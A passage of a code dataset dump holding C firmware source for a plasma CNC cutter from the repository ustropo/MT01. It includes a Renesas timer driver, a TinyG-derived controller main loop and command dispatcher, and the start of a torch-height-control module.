behavior;\n\t\tbreak;\n\t\tdefault:\n\t\t\tres = false;\n\t\tbreak;\n\t}\n\treturn res;\n}\n\n\nstatic void power_on(tmr_ch_t channel)\n{\n\tR_BSP_RegisterProtectDisable (BSP_REG_PROTECT_LPC_CGC_SWR);\n\tswitch(channel)\n\t{\n\t\tcase TMR_CH0:\n\t\t\tMSTP(TMR0) = 0;\n\t\t\tIR(TMR0, CMIA0) = 0; //Clear any previously pending interrupts\n\t\t\tIPR(TMR0, CMIA0) = 15; \t\t\t //Set interrupt priority\n\t\t\tIEN(TMR0, CMIA0) = 1; //Enable compare match interrupt\n\t\tbreak;\n\t\tcase TMR_CH1:\n\t\t\tMSTP(TMR1) = 0;\n\t\t\tIR(TMR1, CMIA1) = 0; //Clear any previously pending interrupts\n\t\t\tIPR(TMR1, CMIA1) = 15; \t\t\t //Set interrupt priority\n\t\t\tIEN(TMR1, CMIA1) = 1; //Enable compare match interrupt\n\t\tbreak;\n\t\tcase TMR_CH2:\n\t\t\tMSTP(TMR2) = 0;\n\t\t\tIR(TMR2, CMIA2) = 0; //Clear any previously pending interrupts\n\t\t\tIPR(TMR2, CMIA2) = 15; \t\t\t //Set interrupt priority\n\t\t\tIEN(TMR2, CMIA2) = 1; //Enable compare match interrupt\n\t\tbreak;\n\t\tcase TMR_CH3:\n\t\t\tMSTP(TMR3) = 0;\n\t\t\tIR(TMR3, CMIA3) = 0; //Clear any previously pending interrupts\n\t\t\tIPR(TMR3, CMIA3) = 15; \t\t\t //Set interrupt priority\n\t\t\tIEN(TMR3, CMIA3) = 1; //Enable compare match interrupt\n\t\tbreak;\n\t\tdefault:\n\t\tbreak;\n\t}\n\tR_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n}\n\nstatic void power_off(tmr_ch_t channel)\n{\n\tR_BSP_RegisterProtectDisable (BSP_REG_PROTECT_LPC_CGC_SWR);\n\tswitch(channel)\n\t{\n\tcase TMR_CH0:\n\t\tMSTP(TMR0) = 1;\n\t\t/* Setup ICU registers. */\n\t\tIR(TMR0, CMIA0) = 0; //Clear any previously pending interrupts\n\t\tIPR(TMR0, CMIA0) = 0; \t\t\t //Set interrupt priority\n\t\tIEN(TMR0, CMIA0) = 0; //Enable compare match interrupt\n\t\tbreak;\n\tcase TMR_CH1:\n\t\tMSTP(TMR1) = 1;\n\t\t/* Setup ICU registers. */\n\t\tIR(TMR1, CMIA1) = 0; //Clear any previously pending interrupts\n\t\tIPR(TMR1, CMIA1) = 0; \t\t\t //Set interrupt priority\n\t\tIEN(TMR1, CMIA1) = 0; //Enable compare match interrupt\n\t\tbreak;\n\tcase TMR_CH2:\n\t\tMSTP(TMR2) = 1;\n\t\t/* Setup ICU registers. */\n\t\tIR(TMR2, CMIA2) = 0; //Clear any previously pending interrupts\n\t\tIPR(TMR2, CMIA2) = 0; \t\t\t //Set interrupt priority\n\t\tIEN(TMR2, CMIA2) = 0; //Enable compare match interrupt\n\t\tbreak;\n\tcase TMR_CH3:\n\t\tMSTP(TMR3) = 1;\n\t\t/* Setup ICU registers. */\n\t\tIR(TMR3, CMIA3) = 0; //Clear any previously pending interrupts\n\t\tIPR(TMR3, CMIA3) = 0; \t\t\t //Set interrupt priority\n\t\tIEN(TMR3, CMIA3) = 0; //Enable compare match interrupt\n\t\tbreak;\n\tdefault:\n\t\tbreak;\n\t}\n\tR_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n}\n\n/***********************************************************************************************************************\n* Function Name: tmr0_isr\n* Description : Interrupt when compare match for this channel occurs.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#pragma interrupt tmr0_isr(vect=VECT(TMR0, CMIA0))\nstatic void tmr0_isr (void)\n{\n\tif (g_tmrbehavior[TMR_CH0] == TMR_ONESHOOT)\n\t{\n\t\tR_TMR_Control(TMR_CH0, TMR_CLEAR, 0);\n\t}\n\t g_tmr_callbacks[TMR_CH0]((void *)0);\n}\n\n/***********************************************************************************************************************\n* Function Name: tmr1_isr\n* Description : Interrupt when compare match for this channel occurs.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#pragma interrupt tmr1_isr(vect=VECT(TMR1, CMIA1))\nstatic void tmr1_isr (void)\n{\n\tif (g_tmrbehavior[TMR_CH1] == TMR_ONESHOOT)\n\t{\n\t\tR_TMR_Control(TMR_CH1, TMR_CLEAR, 0);\n\t}\n\tg_tmr_callbacks[TMR_CH1]((void *)1);\n}\n\n/***********************************************************************************************************************\n* Function Name: tmr2_isr\n* Description : Interrupt when compare match for this channel occurs.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#pragma interrupt tmr2_isr(vect=VECT(TMR2, CMIA2))\nstatic void tmr2_isr (void)\n{\n\tif (g_tmrbehavior[TMR_CH2] == TMR_ONESHOOT)\n\t{\n\t\tR_TMR_Control(TMR_CH2, TMR_CLEAR, 0);\n\t}\n\tg_tmr_callbacks[TMR_CH2]((void *)2);\n}\n\n/***********************************************************************************************************************\n* Function Name: tmr1_isr\n* Description : Interrupt when compare match for this channel occurs.\n* Arguments : none\n* Return Value : none\n***********************************************************************************************************************/\n#pragma interrupt tmr3_isr(vect=VECT(TMR3, CMIA3))\nstatic void tmr3_isr (void)\n{\n\tif (g_tmrbehavior[TMR_CH3] == TMR_ONESHOOT)\n\t{\n\t\tR_TMR_Control(TMR_CH3, TMR_CLEAR, 0);\n\t}\n\tg_tmr_callbacks[TMR_CH3]((void *)3);\n}\n\n\n" }, { "alpha_fraction": 0.6422489881515503, "alphanum_fraction": 0.6503056883811951, "avg_line_length": 34.14257049560547, "blob_id": "25370a7a18571a44a1b09fbedae2436baf68eb2d", "content_id": "7b94c4f53a1b9a67f8c2547712b1d1f8d1e8945b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 17501, "license_type": "no_license", "max_line_length": 147, "num_lines": 498, "path": "/src/cnc/controller.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * controller.c - tinyg controller and top level parser\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2015 Alden S. Hart, Jr.\n * Copyright (c) 2013 - 2015 Robert Giseburt\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n\n#include \"tinyg.h\"\t\t\t\t// #1\n#include \"config.h\"\t\t\t\t// #2\n#include \"controller.h\"\n#include \"json_parser.h\"\n#include \"text_parser.h\"\n#include \"gcode_parser.h\"\n#include \"canonical_machine.h\"\n#include \"plan_arc.h\"\n#include \"planner.h\"\n#include \"stepper.h\"\n#include \"macros.h\"\n#include \"plasma.h\"\n\n\n#include \"encoder.h\"\n#include \"hardware.h\"\n#include \"switch.h\"\n#include \"gpio.h\"\n#include \"report.h\"\n#include \"help.h\"\n#include \"util.h\"\n#include \"xio.h\"\n\n#ifdef FREE_RTOS_PP\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#endif\n\n#include \"keyboard.h\"\n\n#ifdef __ARM\n#include \"Reset.h\"\n#endif\n\n/***********************************************************************************\n **** STRUCTURE ALLOCATIONS *********************************************************\n ***********************************************************************************/\n\ncontroller_t cs;\t\t// controller state structure\n\n/***********************************************************************************\n **** STATICS AND LOCALS ***********************************************************\n ***********************************************************************************/\n\nstatic void _controller_HSM(void);\nstatic stat_t _shutdown_idler(void);\nstatic stat_t _normal_idler(void);\nstatic stat_t _limit_switch_handler(void);\nstatic stat_t _system_assertions(void);\nstatic stat_t _sync_to_planner(void);\nstatic stat_t _sync_to_tx_buffer(void);\nbool intepreterRunning = false;\n\n\n// prep for export to other modules:\nstat_t hardware_hard_reset_handler(void);\nstat_t hardware_bootloader_handler(void);\n\n/***********************************************************************************\n **** CODE *************************************************************************\n ***********************************************************************************/\n/*\n * controller_init() - controller init\n */\n\nvoid controller_init(uint8_t std_in, uint8_t std_out, uint8_t std_err)\n{\n\tmemset(&cs, 0, sizeof(controller_t));\t\t\t// clear all values, job_id's, pointers and status\n\tcontroller_init_assertions();\n\tmacro_func_ptr = command_idle;\n\tcs.fw_build = TINYG_FIRMWARE_BUILD;\n\tcs.fw_version = TINYG_FIRMWARE_VERSION;\n\tcs.hw_platform = TINYG_HARDWARE_PLATFORM;\t\t// NB: HW version is set from EEPROM\n\n#ifdef __AVR\n\tcs.state = CONTROLLER_STARTUP;\t\t\t\t\t// ready to run startup lines\n\txio_set_stdin(std_in);\n\txio_set_stdout(std_out);\n\txio_set_stderr(std_err);\n\tcs.default_src = std_in;\n\ttg_set_primary_source(cs.default_src);\n#endif\n\n#ifdef __ARM\n\tcs.state = CONTROLLER_NOT_CONNECTED;\t\t\t// find USB next\n\tIndicatorLed.setFrequency(100000);\n#endif\n\n#ifdef __RX\n\tcs.default_src = std_in;\n\ttg_set_primary_source(cs.default_src);\n#endif\n}\n\n/*\n * controller_init_assertions()\n * controller_test_assertions() - check memory integrity of controller\n */\n\nvoid controller_init_assertions()\n{\n\tcs.magic_start = MAGICNUM;\n\tcs.magic_end = MAGICNUM;\n}\n\nstat_t controller_test_assertions()\n{\n\tif ((cs.magic_start != MAGICNUM) || (cs.magic_end != MAGICNUM)) return (STAT_CONTROLLER_ASSERTION_FAILURE);\n\treturn (STAT_OK);\n}\n\n/*\n * controller_run() - MAIN LOOP - top-level controller\n *\n * The order of the dispatched tasks is very important.\n * Tasks are ordered by increasing dependency (blocking hierarchy).\n * Tasks that are dependent on completion of lower-level tasks must be\n * later in the list than the task(s) they are dependent upon.\n *\n * Tasks must be written as continuations as they will be called repeatedly,\n * and are called even if they are not currently active.\n *\n * The DISPATCH macro calls the function and returns to the controller parent\n * if not finished (STAT_EAGAIN), preventing later routines from running\n * (they remain blocked). Any other condition - OK or ERR - drops through\n * and runs the next routine in the list.\n *\n * A routine that had no action (i.e. is OFF or idle) should return STAT_NOOP\n */\n\nvoid controller_run()\n{\n\txio_init();\n\tcontroller_init(CNC_MEDIA,0,0);\n\twhile (true) {\n\t /* Block to wait for prvTask1() to notify this task. */\n\n\t\tulTaskNotifyTake( pdTRUE, portMAX_DELAY );\n\t\tintepreterRunning = true;\n\t\twhile(intepreterRunning)\n\t\t\t_controller_HSM();\n//\t\tvTaskDelay(10 / portTICK_PERIOD_MS);\n\t}\n}\n\n#define\tDISPATCH(func) if (func == STAT_EAGAIN) return;\nstatic void _controller_HSM()\n{\n//----- Interrupt Service Routines are the highest priority controller functions ----//\n// See hardware.h for a list of ISRs and their priorities.\n//\n//----- kernel level ISR handlers ----(flags are set in ISRs)------------------------//\n\t\t\t\t\t\t\t\t\t\t\t\t// Order is important:\n//RXMOD\t\tDISPATCH(hw_hard_reset_handler());\t\t\t// 1. handle hard reset requests\n//RXMOD\t\tDISPATCH(hw_bootloader_handler());\t\t\t// 2. handle requests to enter bootloader\n\n\tDISPATCH(_shutdown_idler());\t\t\t\t// 3. idle in shutdown state\n//\tDISPATCH( poll_switches());\t\t\t\t\t// 4. run a switch polling cycle\n\tDISPATCH(_limit_switch_handler());\t\t\t// 5. limit switch has been thrown\n\n\tDISPATCH(cm_feedhold_sequencing_callback());// 6a. feedhold state machine runner\n\tDISPATCH(mp_plan_hold_callback());\t\t\t// 6b. plan a feedhold from line runtime\n\tDISPATCH(_system_assertions());\t\t\t\t// 7. system integrity assertions\n\n//----- planner hierarchy for gcode and cycles ---------------------------------------//\n\tDISPATCH(st_motor_power_callback());\t\t// stepper motor power sequencing\n//\tDISPATCH(switch_debounce_callback());\t\t// debounce switches\n\tDISPATCH(sr_status_report_callback());\t\t// conditionally send status report\n\tDISPATCH(qr_queue_report_callback());\t\t// conditionally send queue report\n\tDISPATCH(rx_report_callback()); // conditionally send rx report\n\tDISPATCH(arcoOK_Macro());\n\tDISPATCH(cm_arc_callback());\t\t\t\t// arc generation runs behind lines\n\tDISPATCH(cm_homing_callback());\t\t\t\t// G28.2 continuation\n\tDISPATCH(cm_jogging_callback());\t\t\t// jog function\n\tDISPATCH(cm_probe_callback());\t\t\t\t// G38.2 continuation\n\tDISPATCH(cm_wait_callback());\t\t\t\t//\n\tDISPATCH(cm_deferred_write_callback());\t\t// persist G10 changes when not in machining cycle\n\n//----- command readers and parsers --------------------------------------------------//\n\n\tDISPATCH(_sync_to_planner());\t\t\t\t// ensure there is at least one free buffer in planning queue\n\tDISPATCH(_sync_to_tx_buffer());\t\t\t\t// sync with TX buffer (pseudo-blocking)\n#ifdef __AVR\n\tDISPATCH(set_baud_callback());\t\t\t\t// perform baud rate update (must be after TX sync)\n#endif\n\n\tstatic uint32_t linebuffer = 0;\n\tif (linebuffer != cm_get_linenum(RUNTIME))\n\t\tprintf(\"line - %d\\n\", cm_get_linenum(RUNTIME));\n\tlinebuffer = cm_get_linenum(RUNTIME);\n\n\tDISPATCH(macro_func_ptr());\t\t\t\t// read and execute next command\n\tDISPATCH(_normal_idler());\t\t\t\t\t// blink LEDs slowly to show everything is OK\n}\n\n/*****************************************************************************\n * _command_dispatch() - dispatch line received from active input device\n *\n *\tReads next command line and dispatches to relevant parser or action\n *\tAccepts commands if the move queue has room - EAGAINS if it doesn't\n *\tManages cutback to serial input from file devices (EOF)\n *\tAlso responsible for prompts and for flow control\n */\n\nstat_t _command_dispatch()\n{\n#ifdef __AVR\n\tstat_t status;\n\n\t// read input line or return if not a completed line\n\t// xio_gets() is a non-blocking workalike of fgets()\n\twhile (true) {\n\t\tif ((status = xio_gets(cs.primary_src, cs.in_buf, sizeof(cs.in_buf))) == STAT_OK) {\n\t\t\tcs.bufp = cs.in_buf;\n\t\t\tbreak;\n\t\t}\n\t\t// handle end-of-file from file devices\n\t\tif (status == STAT_EOF) {\t\t\t\t\t\t// EOF can come from file devices only\n\t\t\tif (cfg.comm_mode == TEXT_MODE) {\n\t\t\t\tfprintf_P(stderr, PSTR(\"End of command file\\n\"));\n\t\t\t} else {\n\t\t\t\trpt_exception(STAT_EOF);\t\t\t\t// not really an exception\n\t\t\t}\n\t\t\ttg_reset_source();\t\t\t\t\t\t\t// reset to default source\n\t\t}\n\t\treturn (status);\t\t\t\t\t\t\t\t// Note: STAT_EAGAIN, errors, etc. will drop through\n\t}\n#endif // __AVR\n#ifdef __ARM\n\t// detect USB connection and transition to disconnected state if it disconnected\n\tif (SerialUSB.isConnected() == false) cs.state = CONTROLLER_NOT_CONNECTED;\n\n\t// read input line and return if not a completed line\n\tif (cs.state == CONTROLLER_READY) {\n\t\tif (read_line(cs.in_buf, &cs.read_index, sizeof(cs.in_buf)) != STAT_OK) {\n\t\t\tcs.bufp = cs.in_buf;\n\t\t\treturn (STAT_OK);\t// This is an exception: returns OK for anything NOT OK, so the idler always runs\n\t\t}\n\t} else if (cs.state == CONTROLLER_NOT_CONNECTED) {\n\t\tif (SerialUSB.isConnected() == false) return (STAT_OK);\n\t\tcm_request_queue_flush();\n\t\trpt_print_system_ready_message();\n\t\tcs.state = CONTROLLER_STARTUP;\n\n\t} else if (cs.state == CONTROLLER_STARTUP) {\t\t// run startup code\n\t\tcs.state = CONTROLLER_READY;\n\n\t} else {\n\t\treturn (STAT_OK);\n\t}\n\tcs.read_index = 0;\n#endif // __ARM\n#ifdef __RX\n\tstat_t status;\n\tparse_gcode_func_selection(CODE_PARSER);\n\t// read input line or return if not a completed line\n\t// xio_gets() is a non-blocking workalike of fgets()\n\twhile (true) {\n\t\tif ((status = xio_gets(cs.primary_src, cs.in_buf, sizeof(cs.in_buf))) == STAT_OK) {\n\t\t\tcs.bufp = cs.in_buf;\n\t\t\tbreak;\n\t\t}\n\t\t// handle end-of-file from file devices\n\t\tif (status == STAT_EOF) {\t\t\t\t\t\t// EOF can come from file devices only\n\t\t\t//gfilerunning = false;\n\t\t\txio_close(cs.primary_src);\n//\t\t\tmacro_func_ptr = command_idle;\n\t\t\tif (cfg.comm_mode == TEXT_MODE) {\n\t\t\t\tfprintf_P(stderr, PSTR(\"End of command file\\n\"));\n\t\t\t} else {\n\t\t\t\trpt_exception(STAT_EOF);\t\t\t\t// not really an exception\n\t\t\t}\n\t\t\ttg_reset_source();\t\t\t\t\t\t\t// reset to default source\n\t\t}\n\t\treturn (status);\t\t\t\t\t\t\t\t// Note: STAT_EAGAIN, errors, etc. will drop through\n\t}\n#endif // __AVR\n\t// set up the buffers\n\tcs.linelen = strlen(cs.in_buf)+1;\t\t\t\t\t// linelen only tracks primary input\n\tstrncpy(cs.saved_buf, cs.bufp, SAVED_BUFFER_LEN-1);\t// save input buffer for reporting\n\n\t// dispatch the new text line\n\tswitch (toupper(*cs.bufp)) {\t\t\t\t\t\t// first char\n\n\t\tcase '!': { cm_request_feedhold(); break; }\t\t// include for AVR diagnostics and ARM serial\n\t\tcase '%': { cm_request_queue_flush(); break; }\n\t\tcase '~': { cm_request_cycle_start(); break; }\n\n\t\tcase NUL: { \t\t\t\t\t\t\t\t\t// blank line (just a CR)\n\t\t\tif (cfg.comm_mode != JSON_MODE) {\n\t\t\t\ttext_response(STAT_OK, cs.saved_buf);\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t\tcase '$': case '?': case 'H': { \t\t\t\t// text mode input\n\t\t\tcfg.comm_mode = TEXT_MODE;\n\t\t\ttext_response(text_parser(cs.bufp), cs.saved_buf);\n\t\t\tbreak;\n\t\t}\n\t\tcase '{': { \t\t\t\t\t\t\t\t\t// JSON input\n\t\t\tcfg.comm_mode = JSON_MODE;\n\t\t\tjson_parser(cs.bufp);\n\t\t\tbreak;\n\t\t}\n\t\tdefault: {\t\t\t\t\t\t\t\t\t\t// anything else must be Gcode\n\t\t\tif (cfg.comm_mode == JSON_MODE) {\t\t\t// run it as JSON...\n\t\t\t\tstrncpy(cs.out_buf, cs.bufp, INPUT_BUFFER_LEN -8);\t\t\t\t\t// use out_buf as temp\n\t\t\t\tsprintf((char *)cs.bufp,\"{\\\"gc\\\":\\\"%s\\\"}\\n\", (char *)cs.out_buf);\t// '-8' is used for JSON chars\n\t\t\t\tjson_parser(cs.bufp);\n\t\t\t} else {\t\t\t\t\t\t\t\t\t//...or run it as text\n\t\t\t\ttext_response(gc_gcode_parser(cs.bufp), cs.saved_buf);\n\t\t\t}\n\t\t}\n\t}\n\treturn (STAT_OK);\n}\n\n\n/**** Local Utilities ********************************************************/\n/*\n * _shutdown_idler() - blink rapidly and prevent further activity from occurring\n * _normal_idler() - blink Indicator LED slowly to show everything is OK\n *\n *\tShutdown idler flashes indicator LED rapidly to show everything is not OK.\n *\tShutdown idler returns EAGAIN causing the control loop to never advance beyond\n *\tthis point. It's important that the reset handler is still called so a SW reset\n *\t(ctrl-x) or bootloader request can be processed.\n */\n\nstatic stat_t _shutdown_idler()\n{\n\tif (cm_get_machine_state() != MACHINE_SHUTDOWN) { return (STAT_OK);}\n\n\tif (SysTickTimer_getValue() > cs.led_timer) {\n\t\tcs.led_timer = SysTickTimer_getValue() + LED_ALARM_TIMER;\n\t\tIndicatorLed_toggle();\n\t}\n\treturn (STAT_EAGAIN);\t// EAGAIN prevents any lower-priority actions from running\n}\n\nstatic stat_t _normal_idler()\n{\n#ifdef __ARM\n\t/*\n\t * S-curve heartbeat code. Uses forward-differencing math from the stepper code.\n\t * See plan_line.cpp for explanations.\n\t * Here, the \"velocity\" goes from 0.0 to 1.0, then back.\n\t * t0 = 0, t1 = 0, t2 = 0.5, and we'll complete the S in 100 segments.\n\t */\n\n\t// These are statics, and the assignments will only evaluate once.\n\tstatic float indicator_led_value = 0.0;\n\tstatic float indicator_led_forward_diff_1 = 50.0 * square(1.0/100.0);\n\tstatic float indicator_led_forward_diff_2 = indicator_led_forward_diff_1 * 2.0;\n\n\n\tif (SysTickTimer.getValue() > cs.led_timer) {\n\t\tcs.led_timer = SysTickTimer.getValue() + LED_NORMAL_TIMER / 100;\n\n\t\tindicator_led_value += indicator_led_forward_diff_1;\n\t\tif (indicator_led_value > 100.0)\n\t\t\tindicator_led_value = 100.0;\n\n\t\tif ((indicator_led_forward_diff_2 > 0.0 && indicator_led_value >= 50.0) || (indicator_led_forward_diff_2 < 0.0 && indicator_led_value <= 50.0)) {\n\t\t\tindicator_led_forward_diff_2 = -indicator_led_forward_diff_2;\n\t\t}\n\t\telse if (indicator_led_value <= 0.0) {\n\t\t\tindicator_led_value = 0.0;\n\n\t\t\t// Reset to account for rounding errors\n\t\t\tindicator_led_forward_diff_1 = 50.0 * square(1.0/100.0);\n\t\t} else {\n\t\t\tindicator_led_forward_diff_1 += indicator_led_forward_diff_2;\n\t\t}\n\n\t\tIndicatorLed = indicator_led_value/100.0;\n\t}\n#endif\n#ifdef __AVR\n/*\n\tif (SysTickTimer_getValue() > cs.led_timer) {\n\t\tcs.led_timer = SysTickTimer_getValue() + LED_NORMAL_TIMER;\n//\t\tIndicatorLed_toggle();\n\t}\n*/\n#endif\n\treturn (STAT_OK);\n}\n\n/*\n * tg_reset_source() \t\t - reset source to default input device (see note)\n * tg_set_primary_source() \t - set current primary input source\n * tg_set_secondary_source() - set current primary input source\n *\n * Note: Once multiple serial devices are supported reset_source() should\n * be expanded to also set the stdout/stderr console device so the prompt\n * and other messages are sent to the active device.\n */\n\nvoid tg_reset_source() { tg_set_primary_source(cs.default_src);}\nvoid tg_set_primary_source(uint8_t dev) { cs.primary_src = dev;}\nvoid tg_set_secondary_source(uint8_t dev) { cs.secondary_src = dev;}\n\n/*\n * _sync_to_tx_buffer() - return eagain if TX queue is backed up\n * _sync_to_planner() - return eagain if planner is not ready for a new command\n * _sync_to_time() - return eagain if planner is not ready for a new command\n */\nstatic stat_t _sync_to_tx_buffer()\n{\n//RXMOD\t\tif ((xio_get_tx_bufcount_usart(ds[XIO_DEV_USB].x) >= XOFF_TX_LO_WATER_MARK)) {\n//\t\treturn (STAT_EAGAIN);\n//\t}\n\treturn (STAT_OK);\n}\n\nstatic stat_t _sync_to_planner()\n{\n\tif (mp_get_planner_buffers_available() < PLANNER_BUFFER_HEADROOM) { // allow up to N planner buffers for this line\n\t\treturn (STAT_EAGAIN);\n\t}\n\treturn (STAT_OK);\n}\n\n/*\nstatic stat_t _sync_to_time()\n{\n\tif (cs.sync_to_time_time == 0) {\t\t// initial pass\n\t\tcs.sync_to_time_time = SysTickTimer_getValue() + 100; //ms\n\t\treturn (STAT_OK);\n\t}\n\tif (SysTickTimer_getValue() < cs.sync_to_time_time) {\n\t\treturn (STAT_EAGAIN);\n\t}\n\treturn (STAT_OK);\n}\n*/\n/*\n * _limit_switch_handler() - shut down system if limit switch fired\n */\nstatic stat_t _limit_switch_handler(void)\n{\n\tif (cm_get_machine_state() == MACHINE_ALARM) { return (STAT_NOOP);}\n\n\tif (get_limit_switch_thrown() == false) return (STAT_NOOP);\n\treturn(cm_hard_alarm(STAT_LIMIT_SWITCH_HIT));\n\treturn (STAT_OK);\n}\n\n/*\n * _system_assertions() - check memory integrity and other assertions\n */\n#define emergency___everybody_to_get_from_street(a) if((status_code=a) != STAT_OK) return (cm_hard_alarm(status_code));\n\nstat_t _system_assertions()\n{\n//\temergency___everybody_to_get_from_street(config_test_assertions());\n//\temergency___everybody_to_get_from_street(controller_test_assertions());\n//\temergency___everybody_to_get_from_street(canonical_machine_test_assertions());\n//\temergency___everybody_to_get_from_street(planner_test_assertions());\n//\temergency___everybody_to_get_from_street(stepper_test_assertions());\n//\temergency___everybody_to_get_from_street(encoder_test_assertions());\n//\temergency___everybody_to_get_from_street(xio_test_assertions());\n\treturn (STAT_OK);\n}\n\nstat_t command_idle(void)\n{\n\treturn (STAT_OK);\n}\n" }, { "alpha_fraction": 0.6152728796005249, "alphanum_fraction": 0.6405893564224243, "avg_line_length": 20.800905227661133, "blob_id": "fc143274b82336908498997b8fb8741d66a27de9", "content_id": "cacaa73b2b5a1931614f06be1a0bc1f1b9ce701c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 9641, "license_type": "no_license", "max_line_length": 104, "num_lines": 442, "path": "/src/cnc/plasma.c", "repo_name": "ustropo/MT01", "src_encoding": "ISO-8859-1", "text": "/*\n * plasma.c\n *\n * Created on: 14/03/2016\n * Author: leocafonso\n */\n#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"semphr.h\"\n#include \"tinyg.h\"\n#include \"config.h\"\n#include \"controller.h\"\n#include \"plasma.h\"\n#include \"planner.h\"\n#include \"spindle.h\"\n#include \"hardware.h\"\n#include \"switch.h\"\n#include \"canonical_machine.h\"\n#include \"text_parser.h\"\n#include \"keyboard.h\"\n#include \"lcd.h\"\n#include \"eeprom.h\"\n#include \"config_SwTimers.h\"\n#include \"macros.h\"\n#include \"ut_state_config_var.h\"\n\n#include \"platform.h\"\n#include \"r_s12ad_rx_if.h\"\n#include \"r_mtu_rx_if.h\"\n\n#define DEBOUNCE_COUNT 15\n#define ARCOOK_DELAY_COUNT 33\n\n#define THC_HISTERESE 1.5\n#define THC_KERF_PORCENTAGE 0.18\n#define THC_MERGULHO_PORCENTAGE 0.80\n\n#define THC_MULT (0.000001428*1.15)\n#define THC_MULT_RAP (THC_MULT*1.25)\n#define THC_MAX 0.01\n\n\n/* Lento */\n#define KI 0.000000125\n#define KP 0.00025\n/* Rapido */\n//#define KI 0.0000005\n//#define KP 0.001\n\nvoid timer_motorPower_callback(void *pdata);\nvoid emergencia_task(void);\nextern void warm_stop(uint8_t flag);\n\nextern TaskHandle_t xCncTaskHandle;\nextern bool simTorch;\nextern bool lstop;\n\nstatic bool stopDuringCut = false;\nstatic bool isCutting = false;\nstatic bool arcoOk = false;\nstatic uint16_t delay_thc = 0;\nstatic uint16_t delay_thcStart = false;\nTaskHandle_t xPlasmaTaskHandle;\nTaskHandle_t xEmergenciaTaskHandle;\nbool emergenciaFlag = false;\nSemaphoreHandle_t xArcoOkSync;\nbool ArcoOktaskIdle = false;\nvolatile uint16_t data;\nfloat THC_real;\nfloat THC_err;\nfloat THC_integral;\nstatic char Str[50];\n\n#pragma section B NOINIT\nuint32_t currentLine;\n#pragma section\n\nvoid pl_arcook_init(void)\n{\n\txTaskCreate((pdTASK_CODE)plasma_task, \"Plasma task\", 512, NULL, 3, &xPlasmaTaskHandle );\n /* Attempt to create a semaphore. */\n\txArcoOkSync = xSemaphoreCreateBinary();\n}\n\nvoid pl_thc_init(void)\n{\n adc_cfg_t config;\n adc_time_t ad_conv_time;\n adc_ch_cfg_t ch_cfg;\n\n config.trigger = ADC_TRIG_SOFTWARE;\n config.priority = 0;\n config.add_cnt = ADC_ADD_OFF;\n config.alignment = ADC_ALIGN_RIGHT;\n config.clearing = ADC_CLEAR_AFTER_READ_ON;\n config.conv_speed = ADC_CONVERT_SPEED_PCLK;\n R_ADC_Open(ADC_MODE_SS_ONE_CH, &config, FIT_NO_FUNC);\n ad_conv_time.reg_id = ADC_SST_CH0_TO_20;\n ad_conv_time.num_states = 0xFF;\n R_ADC_Control(ADC_CMD_SET_SAMPLE_STATE_CNT, &ad_conv_time);\n\n ch_cfg.chan_mask = ADC_MASK_CH3;\n R_ADC_Control(ADC_CMD_ENABLE_CHANS, &ch_cfg);\n}\n\nvoid pl_thc_read(void)\n{\n\tuint16_t u16thc_read;\n\tuint32_t u16thc_sum = 0;\n\tuint16_t u16thc_value;\n\tfor(uint8_t i = 0; i < 50;i++){\n\t\t/* CAUSE SOFTWARE TRIGGER */\n\t\tR_ADC_Control(ADC_CMD_SCAN_NOW, NULL);\n\t\t/* WAIT FOR SCAN TO COMPLETE */\n\t\twhile (R_ADC_Control(ADC_CMD_CHECK_SCAN_DONE, NULL) == ADC_ERR_SCAN_NOT_DONE)\n\t\tnop();\n\t\t/* READ RESULT */\n\t\tR_ADC_Read(ADC_REG_CH3, &u16thc_read);\n\t\tu16thc_sum += (uint32_t)u16thc_read;\n\t}\n\tu16thc_value = (uint16_t)(u16thc_sum/50);\n\tTHC_real = (float)(((float)300/4095)*u16thc_value);\n}\n\nfloat pl_thc_pid(void)\n{\n\tfloat result = 0;\n\tfloat THCVel = 0;\n\tint16_t ldelay_thc;\n\t/* velocidade do THC proporcinal a velocidade de feddrate */\n\tif (configVarPl[PL_CONFIG_VELOC_CORTE] < 3500)\n\t\tTHCVel = configVarPl[PL_CONFIG_VELOC_CORTE]*THC_MULT;\n\telse\n\t\tTHCVel = configVarPl[PL_CONFIG_VELOC_CORTE]*THC_MULT_RAP;\n\n\t/* reta do delay inversamente proporcinal a velocidade de feddrate */\n\tldelay_thc = (uint16_t)(17500 - configVarPl[PL_CONFIG_VELOC_CORTE]*5);\n\t/* limite maximo da velocidade do THC */\n\tif(THCVel > THC_MAX)\n\t{\n\t\tTHCVel = 